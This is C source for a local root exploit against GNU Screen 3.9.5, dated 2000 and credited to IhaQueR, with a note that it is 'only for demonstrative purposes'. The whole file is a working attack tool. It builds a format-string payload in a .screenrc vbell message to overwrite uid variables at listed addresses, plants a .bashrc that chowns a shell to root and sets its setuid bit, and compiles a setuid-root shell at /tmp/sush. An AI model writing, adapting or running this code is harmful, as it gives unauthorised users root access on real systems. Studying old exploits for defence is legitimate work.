/****************************************************************
*								                *
*		Screen 3.9.5 local exploit			          *
*		by IhaQueR@IRCnet				                *
*		only for demonstrative purposes			    *
*								                *
****************************************************************/

#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/utsname.h>
#include <pwd.h>
#include <stdlib.h>
#include <errno.h>

#define SCREENRC ".screenrc"
#define BASHRC ".bashrc"
#define SCREEN "/usr/home/paul/tmp2/screen-3.9.5/screen"
#define TMPPATH "/tmp/"

/*	to help you hit the buffer we repeat the addr in the dir path	*/
#define AREP 48

/*	but write only once	*/
#define WREP 1

/*	offset of the nethack-buffer seen from Msg()	*/
#define BUFOFFSET 592

#define TMPBUFSIZE (BUFOFFSET+1024)

/*	addr to be written	(may vary)*/
#define WRITEADDR 0x8084e14

/*	some addresses grabbed from 3.9.5

S.u.S.E 6.1: 592

		&real_uid,	&real_gid,	&eff_uid,	&eff_gid	own_uid
		0x8084e14	0x80839fc	0x8083950	0x8083954

OpenBSD: 320

		&real_uid,	&real_gid,	&eff_uid,	&eff_gid	own_uid
		0x3d1e4
		0x3d1e4

for finding addresses see expl.c, it may be hard...

*/


int main(int argc, char** argv)
{
  int i, off=0;
  int writeoffs, bufoffset, padding, bfoff;
  unsigned a, *p;
  FILE* fp;

  char buf[TMPBUFSIZE];
  unsigned char adr[(AREP+4)*sizeof(unsigned)];
  char screenrc[TMPBUFSIZE];
  char bashrc[TMPBUFSIZE];

  if(argc != 4) {
    printf("USAGE %s <write offset> <bufferoffset> <padding>\n", argv[0]);
    return 0;
  } else {
    printf("Screen 3.9.5 local r00t exploit\n");
    printf("by IhaQueR@IRCnet\n\n");
  }

  /*  user supplied offsets  */
  writeoffs = atoi(argv[1]);
  bfoff = atoi(argv[2]);
  padding = atoi(argv[3]);

  /*  create home string  */
  bzero(adr, (AREP+2)*sizeof(unsigned));
  sprintf(adr, "HOME=%s", TMPPATH);

  /*  pad  */
  for(i=0; i<padding; i++)
    strcat(adr, "P");
		
  p = (unsigned*) (adr + strlen(adr));
  a = WRITEADDR + writeoffs;

  for(i=0; i<AREP; i++) {
    *p = a;
    p++;
  }
  *p = 0;

  if(mkdir((char*)(adr+5), 0xfff))
    if(errno != EEXIST) {
      printf("\nERROR: mkdir()");
      return 2;
    }

  /*  PWD=cwd/ourdir\000 + VARNAME= => off + 6 + strlen(VARNAME)  */
  off += strlen(TMPPATH);
  off += bfoff*8;
  bufoffset = BUFOFFSET + off;

  /*  strings for .screenrc and .bashrc  */
  strcpy(screenrc, adr+5);
  strcat(screenrc, "/");
  strcat(screenrc, SCREENRC);
  strcpy(bashrc, adr+5);
  strcat(bashrc, "/");
  strcat(bashrc, BASHRC);

  /*  create vbell string  */
  printf("creating magic string\n");
  bzero(buf, TMPBUFSIZE);

  /*  consume stack arguments  */
  for(i=0; i<bufoffset/8+1; i++)
    strcat(buf, "%.0g");

  /*  finally write to adress	*/
  for(i=0;i<WREP; i++)
    strcat(buf, "%x");

  /*  create screenrc  */
  printf("building %s\n", SCREENRC);
  if(fp = fopen(screenrc, "w")) {
    fprintf(fp, "vbell on\n");
    fprintf(fp, "vbell_msg '%s'\n", buf);
    fprintf(fp, "vbellwait 3600\n");
    fclose(fp);
  }
  else {
    printf("ERROR: opening %s\n", screenrc);
    return 1;
  }

  /*  create bashrc  */
  printf("creating %s\n", BASHRC);
  snprintf(buf, TMPBUFSIZE, "echo >%s 'chown root:root /tmp/sush; chmod 4755 /tmp/sush'", bashrc);
  system(buf);

  /*  create suid shell  */
  printf("compiling suid shell\n");
  snprintf(buf, TMPBUFSIZE, "echo >/tmp/sush.c 'main(int ac, char**av){setuid(0); setgid(0); execv(\"/bin/bash\", av);}'");
  system(buf);
  system("gcc /tmp/sush.c -o /tmp/sush");

  /*  set env and call screen  */
  argv[1] = NULL;
  printf("press enter to start screen, then hit enter again, ctrl-g, ctrl-c for suid shell at /tmp/sush");

  putenv(adr);
  getchar();
  execv(SCREEN, argv);
}
/*                   www.hack.co.za   [8 September 2000]*/